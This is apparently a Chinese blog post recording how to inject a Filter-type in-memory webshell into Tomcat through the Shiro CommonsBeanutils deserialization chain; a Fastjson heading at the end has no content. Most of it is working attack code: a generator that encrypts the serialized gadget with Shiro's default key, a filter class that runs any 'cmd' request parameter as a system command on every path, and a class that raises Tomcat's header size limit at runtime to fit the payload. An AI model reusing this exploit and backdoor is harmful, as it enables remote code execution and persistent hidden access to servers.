Shiro&Fastjson注入内存马
Shiro
前言
前段时间学习了在Shell中如何注入Filter型内存马,搞忘了写博客了,这里重新来记录一下过程。
这里直接选择用CB链来打,CB链忘记了可以看前面的文章:https://www.le1a.com/posts/a5f4a9e3/
调用链:
1 2 3 4 5
| PriorityQueue.readObject() BeanComparator.compare() PropertyUtils.getProperty() PropertyUtilsBean.getProperty() TemplatesImpl.getOutputProperties()
|
CBAttck
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue;
class CBAttck { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\ShiroAttck\\target\\classes\\ShiroCB\\BehinderFilter.class"));
byte[][] codes = {code}; TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes",codes); setFieldValue(obj, "_name", "aaaa"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
byte[] payload= barr.toByteArray(); AesCipherService aes = new AesCipherService(); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource finalpayload = aes.encrypt(payload,key); System.out.println(finalpayload.toString()); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.lang.reflect.InvocationTargetException; import java.util.Map; import java.io.IOException; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Constructor; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.Context; import javax.servlet.*;
public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil"; final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; }
filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter"); }
@Override public void destroy() {
} }
|


注入成功了,但是需要注意一点的就是Tomcat会对Header头有长度限制,所以这里方便本地复现,就去改了本地的Tomcat的最大Header长度
位置在tomcat/conf/server.xml
,添加maxHttpHeaderSize="40960"
1 2 3
| <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" maxHttpHeaderSize="40960"/>
|
这个值会影响新的Request的inputBuffer时的对于header的限制。
TomcatHeaderSize代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package ShiroCB;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all") public class TomcatHeaderSize extends AbstractTranslet {
static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); headerSizeField.set(tempRequest.getInputBuffer(),40000); } } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(40000); } } } } catch (Exception e) { } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
修改长度后,由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值



此时不再爆400异常,成功注入内存马

反序列化一个加载器,从POST请求体中发送恶意字节码(失败了)
class bytes使用gzip+base64压缩编码(暂时不会)
Fastjson